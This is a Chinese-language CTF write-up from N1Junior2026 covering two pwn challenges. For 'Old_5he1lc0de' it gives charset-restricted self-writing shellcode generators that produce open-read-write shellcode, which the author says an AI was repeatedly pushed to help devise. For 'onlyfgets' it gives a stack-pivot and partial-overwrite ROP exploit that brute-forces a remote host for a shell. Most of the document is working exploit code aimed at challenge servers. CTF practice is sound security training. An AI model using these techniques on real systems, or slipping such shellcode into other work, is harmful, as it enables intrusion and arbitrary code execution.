N1Junior2026

Old_5he1lc0de

拿了个一血嘻嘻嘻 orw的shellcode, 但是要求打出来两次, 而且两次用的字符集不能有交集, 并集元素数量小于等于15, 要求很严格。反复拷打ai给了第一种打法

# ---------------- PAYLOAD A ----------------
# Unique Bytes: {48, 89, D7, FF, C0, AA, E2} (Count: 7)
def generate_payload_A(target):
    # Setup: mov rdi, rdx
    payload = b'\x48\x89\xd7'
    
    current_val = 0
    for b in target:
        diff = (b - current_val) % 256
        # Modify: inc eax
        payload += b'\xff\xc0' * diff
        # Write: stosb (writes al to [rdi], inc rdi)
        payload += b'\xaa'
        current_val = b
        
    # Jump: jmp rdx (Jump back to start, now containing payload)
    payload += b'\xff\xe2'
    return payload

只用了7个字节挺靠谱的。

# ---------------- PAYLOAD B ----------------
# Unique Bytes: {52, 5F, 04, 01, 88, 07, AE, C3} (Count: 8)
def generate_payload_B(target):
    payload = b''
    # inc dh
    payload += b"\xfe\xc6" * 0x70
    current_val = 0

    for b in target:
        diff = (b - current_val) % 256
        # Modify: add al, 1
        payload += b'\x04\x01' * diff
        # Write: mov [rdx], al
        payload += b'\x88\x02'
        # inc dl
        payload += b'\xfe\xc2'
        current_val = b

    payload = payload.ljust(0x7000, b'\x90')
        
    return payload

但是第二种打法用了push和pop, 由于执行shellcode前程序把除了rip和rdx的寄存器都搞坏了所以不能开局直接pushpop, 所以稍微改了一下用inc dh把rdx移到shellcode结束的地方, 从这里开始写真正的shellcode, 执行1阶段shellcode完以后nopslide滑到真正的shellcode上就不用jmp或者push ret了。后来看到一篇文章说用3字节就能执行任意shellcode, 看来16字节还是太充裕了。。。https://www.anquanke.com/post/id/256530#h2-1

#!/usr/bin/env python3
# -*- coding: utf-8 -*
import re
import os
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
local = 0
ip = "60.205.163.215"
port = 13911
ELF_PATH="./chal"

if local:
    # p = process(ELF_PATH)
    p = process(['python3', './chal.py'])
else:
    p = remote(ip,port)


def dbg():
    script = '''
        brva 0x11ED
    '''
    if local:
        gdb.attach(p,script)
    pause()

# Target Shellcode (Open-Read-Write)
orw_shellcode = asm(f'''
    mov rsp, rdx
    add rsp, 0x1000
    mov rax, 0x67616c662f
    push rax
    mov rdi, rsp
    xor rsi, rsi
    mov rax, 2
    syscall
    mov rdi, rax
    mov rsi, rsp
    mov rdx, 0x100
    xor rax, rax
    syscall
    mov rdi, 1
    mov rsi, rsp
    mov rdx, 0x100
    mov rax, 1
    syscall
    mov rax, 60
    xor rdi, rdi
    syscall
''')

# ---------------- PAYLOAD A ----------------
# Unique Bytes: {48, 89, D7, FF, C0, AA, E2} (Count: 7)
def generate_payload_A(target):
    # Setup: mov rdi, rdx
    payload = b'\x48\x89\xd7'
    
    current_val = 0
    for b in target:
        diff = (b - current_val) % 256
        # Modify: inc eax
        payload += b'\xff\xc0' * diff
        # Write: stosb (writes al to [rdi], inc rdi)
        payload += b'\xaa'
        current_val = b
        
    # Jump: jmp rdx (Jump back to start, now containing payload)
    payload += b'\xff\xe2'
    return payload

shellcode1 = generate_payload_A(orw_shellcode)
byteset1 = set(shellcode1)
print(f"Set A bytes: {[hex(b) for b in byteset1]}")
print(f"Set A count: {len(byteset1)}")

# Send Payload A

# dbg()
# p.send(shellcode1)




# ---------------- PAYLOAD B ----------------
# Unique Bytes: {52, 5F, 04, 01, 88, 07, AE, C3} (Count: 8)
def generate_payload_B(target):
    payload = b''
    # inc dh
    payload += b"\xfe\xc6" * 0x70
    current_val = 0

    for b in target:
        diff = (b - current_val) % 256
        # Modify: add al, 1
        payload += b'\x04\x01' * diff
        # Write: mov [rdx], al
        payload += b'\x88\x02'
        # inc dl
        payload += b'\xfe\xc2'
        current_val = b

    payload = payload.ljust(0x7000, b'\x90')
        
    return payload

shellcode2 = generate_payload_B(orw_shellcode)
byteset2 = set(shellcode2)
print(f"Set B bytes: {[hex(b) for b in byteset2]}")
print(f"Set B count: {len(byteset2)}")

total_union = byteset1.union(byteset2)
print(f"Total Unique Bytes: {len(total_union)}")

# Note: The challenge runs ./chal twice. If you are interacting with chal.py:
p.sendlineafter(b'hex(0/2):', shellcode1.hex())
# pause()
p.sendlineafter(b'hex(1/2):', shellcode2.hex())



# dbg()
# p.send(shellcode2)








p.interactive()

onlyfgets

可恶的栈题, 程序很简单只有一个fgets(buf, 500, stdin)。 由于没有puts之类的输出函数所以不能简单的打libc。 找到了大佬的这篇文章非常有帮助https://www.roderickchan.cn/2022-sekaictf-pwn-wp-gets-bfs/#1-1-get-limited-gadgets-for-binary, 意思就是执行fgets以后会在栈上残留一些libc的地址, 所以可以先栈迁移到bss然后调用fgets残留一些东西到栈上面。理论上接下来应该用add ptr [rbp - 0x3d], ebx ; nop ; ret这玩意精确控制偏移但是太菜不会搞。fgets如果输入少于500就会在末尾加\x0a\x00, 如果刚好500就只会加一个\x00, 这样直接partial overwrite一个libc地址成execve只会有16^3种可能性, 相比于16^5而言可能性大大提高了。多调用一次fgets是因为使用的leak地址不能在当前执行的fgets的栈上, 还要注意栈平衡就行了。实测爆个几百次就出了。

from pwn import *

context(arch='amd64', os='linux', log_level='info')
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF('./onlyfgets')

def pwn(p):
    fgets_got = 0x404020
    fgets_plt = elf.sym['fgets']
    pop_rdi = 0x00000000004011fc
    pop_rbp = 0x00000000004011d2
    ret = 0x00000000004011fd
    leave_ret = 0x00000000004011fa
    add_rsp_8 = 0x0000000000401016
    where = 0x404e00
    payload = b'a'*0x20 + p64(where + 0x20) + p64(0x4011DD)
    p.sendline(payload)
    sleep(0.1)
    where = 0x404500
    payload = b'a'*0x20 + p64(where + 0x20) + p64(0x4011DD)
    p.sendline(payload)
    sleep(0.1)
    where = 0x404dd0 - 0x28 - 0x10 - 400
    payload = b'a'*0x20 + p64(where + 0x20) + p64(0x4011DD)
    p.sendline(payload)
    sleep(0.1)
    binsh = 0x404c08
    payload = b''
    payload += b'/bin/sh\x00' + p64(ret)*59
    payload += p64(pop_rdi) + p64(binsh) + b'\x02\x09\x05'
    p.sendline(payload)
    # p.interactive()






def brute(host='60.205.163.215', port=27015):
    i = 0
    while True:
        try:
            p = remote(host, port, timeout=2) 
            # p = process('./onlyfgets')
            pwn(p)
            
            p.sendline(b'echo HACK')
            if b'HACK' in p.recvuntil(b'HACK', timeout=2):
                log.success("Exploit succeeded!")
                # p.sendline(b'cat /flag')
                p.interactive()
                return True

        except KeyboardInterrupt:
            log.info("Interrupted by user")
            break
        except Exception as e:
            pass
        finally:
            if 'p' in locals():
                p.close()

        log.info(f"Attempt: {i}")
        i = i + 1



brute()